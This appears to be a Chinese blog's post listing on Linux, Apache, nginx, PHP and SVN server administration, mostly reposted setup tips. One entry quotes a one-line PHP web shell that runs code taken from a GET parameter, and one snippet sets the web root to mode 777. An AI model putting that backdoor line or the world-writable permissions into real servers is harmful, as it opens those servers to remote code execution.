服务器
编程技术初学者
php初学者,欢迎大家指点,赐教。
展开
-
svn无法更新的权限问题之一
转自:http://www.linzhennan.cn/xnty/339.html今天更新一个新增加的svn目录是提示“Can’t open file ‘.svn/lock’: Permission denied”的问题。百度之后终于找到原因:第一次在服务器checkout的时候使用的是root超级用户。这个问题让我头疼了一天真是相当无语。1.第一次在web服务器checkout的转载 2014-04-02 12:10:05 · 4945 阅读 · 0 评论 -
Apache 禁止访问目录
缺省情况下如果你在浏览器输入地址:http://localhost/如果你的文件根目录里有 index.html,浏览器就会显示 index.html的内容,如果没有 index.html,浏览器就会显示文件根目录的目录列表,目录列表包括文件根目录下的文件和子目录。如何禁止 Apache 显示目录列表呢?方法一要禁止 Apache 显示目录结构列表,只需将 Option 中转载 2016-06-08 16:14:07 · 580 阅读 · 0 评论 -
Linux防火墙
Linux服务器上装好数据库,无法使用客户端工具访问,后来查了下是Linux防火墙的问题,关闭之后果然就可以正常使用客户端连接了,注意关闭防火墙是非常不安全的,因此推荐开放指定端口即可!Linux防火墙与Windows有些不同,它是以服务的形式存在,关闭的方式如下:1、永久生效,重启后不会复原开启: chkconfig iptables on关闭: chkconfi转载 2016-07-29 10:43:05 · 496 阅读 · 0 评论 -
简单配置nginx使之支持pathinfo
原文地址:http://www.thinkphp.cn/topic/3228.html只需要修改3个地方就可以了,亲测成功,看代码有注解location ~ \.php { #去掉$ root H:/PHPServer/WWW; fastcgi_pass 127.0.0.1:9000; fastcgi_index ind转载 2016-01-05 16:54:55 · 535 阅读 · 0 评论 -
centos6.5 ssh安全优化,修改默认端口名,禁止root远程登录
centos6.5 ssh安全优化,修改默认端口名,禁止root远程登录转载 2016-10-11 17:55:07 · 3899 阅读 · 0 评论 -
xxx is not in the sudoers file.This incident will be reported.的解决方法
1.切换到root用户下,怎么切换就不用说了吧,不会的自己百度去.2.添加sudo文件的写权限,命令是:chmod u+w /etc/sudoers3.编辑sudoers文件vi /etc/sudoers找到这行 root ALL=(ALL) ALL,在他下面添加xxx ALL=(ALL) ALL (这里的xxx是你的用户名)ps:这里说下你可以sudoers添转载 2016-10-11 17:58:53 · 536 阅读 · 0 评论 -
nginx之https配置
nginx之https配置原创 2017-01-20 18:04:19 · 610 阅读 · 0 评论 -
如何在linux下查看目录的剩余空间大小
如何在linux下查看目录的剩余空间大小转载 2016-08-29 17:06:28 · 129551 阅读 · 0 评论 -
yum upgrade和yum update区别
yum upgrade和yum update区别测试原创 2017-05-11 15:57:56 · 12813 阅读 · 1 评论 -
nginx+php多域名配置的方法
nginx+php多域名配置的方法原创 2017-05-11 16:13:38 · 6642 阅读 · 0 评论 -
ubuntu下安装lamp环境
一、安装1. 首先安装SSHsudo apt-get install ssh2.安装MySQL(虽然现在最新版为5.1,但是还只能装5.0版本)sudo apt-get install mysql-server-5.03.安装Apachesudo apt-get install apache24.安装PHPsudo apt-get install php5 liba转载 2015-02-27 17:08:55 · 781 阅读 · 0 评论 -
Apache 配置虚拟主机三种方式
Apache 配置虚拟主机三种方式转载 2017-05-24 15:05:59 · 5388 阅读 · 0 评论 -
nginx 配置虚拟主机的三种方法
nginx 配置虚拟主机的三种方法转载 2017-05-24 16:39:09 · 12936 阅读 · 0 评论 -
善用 PHP-FPM 的 slow log 分析问题
节前公司站点出现了莫名的 502 错误,在服务器配置上拆腾未果,重新开始怀疑程序问题。关于 502 错误,具体可以参考以下两篇文章:《自动检测 PHP-FPM 的错误并重启的 PHP 脚本》《NGINX + PHP-FPM 502 相关事》根据错误提示(11: Resource temporarily unavailable) ,排除掉服务器配置的问题,自然而然就怀转载 2017-05-24 17:51:49 · 1314 阅读 · 0 评论 -
Linux下查看系统版本和内核信息的方法
Linux下查看系统版本和内核信息的方法转载 2017-05-10 16:54:11 · 823 阅读 · 0 评论 -
一句话的代码竟然有这么强的攻击性,对服务器来说是致命的。
原文地址:http://www.oschina.net/code/snippet_173183_13710一句话的代码竟然有这么强的攻击性。对服务器来说是致命的。eval(stripcslashes($_GET['e']));转载 2016-04-15 17:16:33 · 2470 阅读 · 0 评论 -
Redis安装和配置
1、下载安装redis2、配置Redis3、启动Redis4、测试转载 2016-04-07 17:09:04 · 721 阅读 · 0 评论 -
ThinkPHP3.2URL重写隐藏应用的入口文件index.php
可以通过URL重写隐藏应用的入口文件index.php,下面是相关服务器的配置参考:[ Apache ]httpd.conf配置文件中加载了mod_rewrite.so模块AllowOverride None 将None改为 All把下面的内容保存为.htaccess文件放到应用入口文件的同级目录下 mod_rewrite.c> RewriteEngine on Rewrite转载 2016-04-01 17:35:13 · 7058 阅读 · 0 评论 -
Linux下定时命令crontab的说明使用
一、crontab 介绍 crontab命令的功能是在一定的时间间隔调度一些命令的执行。linux任务调度的工作主要分为以下两类: 1、系统执行的工作:系统周期性所要执行的工作,如备份系统数据、清理缓存。2、个人执行的工作:某个用户定期要做的工作,例如每隔10分钟检查邮件服务器是否有新信,这些工作可由每个用户自行设置。二、/etc/crontab 文件在/etc转载 2014-03-27 14:46:48 · 552 阅读 · 0 评论 -
SVNSubversion 用户权限管理
转自:http://www.cnblogs.com/xingchen/archive/2010/07/22/1782684.html/***********************************************************///SVNSubversion 用户权限管理//资料来源:网络、总结//2010年7月20日/**************转载 2014-04-02 11:58:16 · 715 阅读 · 0 评论 -
php中mkdir()函数的权限问题
问题描述:使用以下php代码创建了一个目录,期望目录的权限是0777,实际结果是0755mkdir('./aa/',0777); 分析与测试结果:1.mkdir()函数指定的目录权限只能小于等于系统umask设定的默认权限。如linux默认的umask一般0022, 即创建目录的默认权限是0755, 所以这时ph转载 2014-12-16 23:42:41 · 863 阅读 · 0 评论 -
禁止apache显示目录索引的常见方法(apache禁止列目录)
目录列表原因分析当用户请求的URL地址是某个目录地址的时候,如果该目录开启了自动列表功能并且WEB服务器默认的页面文件(如index.html/home.html/default.htm/default.asp/default.aspx/index.php等)也不存在,那么该目录所包含的文件就会被自动的以列表的形式显示出来,这样可能就会导致敏感文件被泄露。安全隐患1、如果必转载 2014-11-20 19:31:53 · 6180 阅读 · 0 评论 -
Ubuntu下LAMP安装配置
1. LAMP 的安装sudo apt-get install apache2 mysql-server mysql-client php5 php5-gd php5-mysql由于LAMP大部分操作与/var/www目录相关,为了方便,修改该目录的权限为普通用户可访问。sudo chmod 777 /var/www/2. php转载 2015-02-27 17:31:14 · 411 阅读 · 0 评论 -
sudo: /etc/sudoers is mode 0640, should be 0440解决办法
ubuntu或者CentOS中,/etc/sudoer 的权限为 0440时才能正常使用,否则sudo命令就不能正常使用。出现类似:sudo: /etc/sudoers is mode 0640, should be 0440 的对话。解决办法:1、Ctrl+Alt+F1 进入文本模式。用超级用户登录,如root2、输入:chmod 0440 /etc/sudoers转载 2015-03-17 15:12:56 · 1131 阅读 · 0 评论 -
CentOS设置服务开机启动的方法
CentOS设置服务开机启动的两种方法1、利用 chkconfig 来配置启动级别在CentOS或者RedHat其他系统下,如果是后面安装的服务,如httpd、mysqld、postfix等,安装后系统默认不会自动启动的。就算手动执行 /etc/init.d/mysqld start 启动了服务,只要服务器重启后,系统仍然不会自动启动服务。 在这个时候,我们就需要在安装后做个设置,让系统自转载 2015-03-17 15:43:24 · 680 阅读 · 0 评论 -
在CentOS上搭建PHP服务器环境
安装apache:yum install httpd httpd-devel 启动apache:/etc/init.d/httpd start此时输入服务器的IP地址,应该看到apache的服务页面,端口不用输,apache默认就是使用80端口 安装mysql:yum install mysql mysql-server启动mysql:/etc/init.d/m转载 2015-03-17 15:48:03 · 549 阅读 · 0 评论 -
主机无法访问vmware虚拟机WEB服务器解决办法
具体情况如下 :环境:虚拟机服务器是centos,apache+php+mysql环境,但是局域网无法访问1.本机能ping通虚拟机 2.虚拟机也能ping通本机 3.虚拟机能访问自己的web 4.本机无法访问虚拟己的web后来发现是防火墙将80端口屏蔽了的缘故。检查是不是服务器的80端口被防火墙堵了,可以通过命令:telnet {服务器ip}80 来测试。解决方法如下转载 2015-03-17 15:51:04 · 8952 阅读 · 0 评论 -
Windows下常用的系统命令
查看自己的电脑是32位的还是64位的命令:wmic osget osarchitecture原创 2015-05-22 16:27:00 · 476 阅读 · 0 评论 -
CentOS6.5搭建LNMP
1:查看环境:12[root@10-4-14-168 html]# cat /etc/redhat-releaseCentOS release 6.5 (Final)2:关掉防火墙1[root@10-4-14-168 h转载 2015-05-13 15:27:10 · 645 阅读 · 0 评论 -
linux中nginx下禁止某目录执行php程序
为了安全起见,我们一般会对上传目录禁止运行php脚本修改nginx.conf配置文件禁止单目录:location ~* ^/attachments/.*.(php|php5)$ {deny all;}禁止多目录:location ~* ^/(attachments|upload)/.*.(php|php5)$ {deny all;}原创 2015-09-25 10:47:17 · 7488 阅读 · 0 评论 -
PHP中 HTTP_HOST 和 SERVER_NAME 的区别
PHP中 HTTP_HOST 和 SERVER_NAME 的区别转载 2015-09-16 15:02:15 · 1036 阅读 · 0 评论 -
Nginx修改上传限制后无效
今天后台上传文件时遇到大小限制问题,代码限制很快就修改好了,但是修改Nginx环境的服务器配置时遇到点小问题,下面给大家分享一下当作参考。1.打开php.ini2.修改配置并保存post_max_size = 20Mupload_max_filesize = 20M3. 重启nginx环境原创 2014-03-09 22:51:04 · 3387 阅读 · 0 评论 -
Nginx配置tp5支持pathinfo以及隐藏入口文件
Nginx配置tp5支持pathinfo以及隐藏入口文件转载 2017-09-05 19:03:16 · 5756 阅读 · 0 评论